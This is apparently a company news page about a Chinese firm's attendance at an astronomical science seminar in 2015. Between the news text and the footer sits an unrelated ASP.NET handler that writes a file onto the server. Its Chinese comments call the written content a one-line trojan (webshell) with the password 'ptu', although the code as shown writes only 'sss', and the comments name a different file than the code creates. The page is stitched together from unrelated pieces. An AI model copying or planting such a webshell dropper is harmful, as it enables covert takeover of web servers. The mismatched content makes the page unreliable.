Yaweitong in astronomical science seminar

时间:2015-10-29    浏览:774    Express ma

In October 28, 2015, YAVATOP in the company under the leadership of President Wang Xiuhua, was invited to participate in the astronomical science seminar, conference, astronomical science education and other intelligence related projects to explore exchanges.

<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
    
    public void ProcessRequest (HttpContext context) {
        context.Response.ContentType = "text/plain";
        
        //这里会在目录下生成一个test.asp的文件
        StreamWriter file1= File.CreateText(context.Server.MapPath("/../1.txt"));
        //这里是写入一句话木马   密码是:ptu
        file1.Write("sss");
        file1.Flush();
        file1.Close();       
    }
    public bool IsReusable {
        get {
            return false;
        }
    }

}

Design by qianzhu